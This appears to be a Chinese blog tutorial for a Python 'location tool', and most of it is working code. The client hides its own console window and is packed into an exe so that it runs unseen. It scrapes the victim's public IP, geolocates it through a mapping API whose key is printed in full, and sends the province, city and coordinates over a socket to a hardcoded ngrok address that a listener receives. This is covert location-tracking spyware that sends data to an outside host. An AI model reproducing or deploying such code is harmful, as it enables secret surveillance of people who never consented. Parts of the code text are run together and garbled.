python socket打造一个定位工具

时间:2025-05-01 12:04:02

前言:

刚刚学习socket,打算后期得学习

怎么写exploit。

原理:

其实很简单,客户端写个爬虫。然后将获取到的IP放入高德地图

在通过socket发送。利用ngrok达到能外网搞事。

准备:

requests

高德地图API

ngrok !:官网下,其他的有可能不稳定

服务端代码:

import socket
def jieshou():
benji=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
connetct=benji.connect(('8.8.8.8',80))
ip=benji.getsockname()[0]
print(ip) phone=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
phone.bind(('0.0.0.0',4444)) #0.0.0.0表示的是一个集合,端口是你用ngrok进行内网穿透的端口
phone.listen(5)
print('[+]正在接受信息....')
while True:
conng,addr=phone.accept()
print(conng)
client=conng.recv(102400).decode()
print(client)
jieshou()

 客户端代码:timport requestsimport socketfrom bs4 import BeautifulSoup

import re
import win32api, win32gui
ct = win32api.GetConsoleTitle() ---->
hd = win32gui.FindWindow(0,ct) --->
win32gui.ShowWindow(hd,0) ---> 这三行代码用于后期打包成exe隐藏运行的框框
def yij():
global jiu,cw
url="http://2017.ip138.com/ic.asp"
headers={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0'}
rs=requests.get(url,headers=headers)
rst=rs.content.decode('gbk')
lok=BeautifulSoup(rst,'html.parser')
for by in lok.find_all('center'):
lg=by.get_text()
lwdk=re.findall('(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)\.(25[0-5]|2[0-4]\d|[0-1]\d{2}|[1-9]?\d)',rst)
lt=lwdk[0]
pos=".".join(lt)
print(pos) urldw="http://restapi.amap.com/v3/ip?key=14a0916fcc2c8413e93db92ce81c60c6&ip={}".format(pos)
l=requests.get(urldw,headers=headers)
js=l.json() cw= "IP:{}".format(pos),"省",js['province'],"市",js['city'],"经度,纬度",js['rectangle']
yij() def fason():
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('52.15.194.28',15043)) #ip填ping ngrok得到的IP,端口填ngrok的端口
s.send(('{}'.format(cw).encode('utf-8')))
s.close()
fason()

  ngrok图

python socket打造一个定位工具

用pyinstaller打包成exe

python socket打造一个定位工具

效果测试图:

运行pz.exe

python socket打造一个定位工具

服务端接受到的:

python socket打造一个定位工具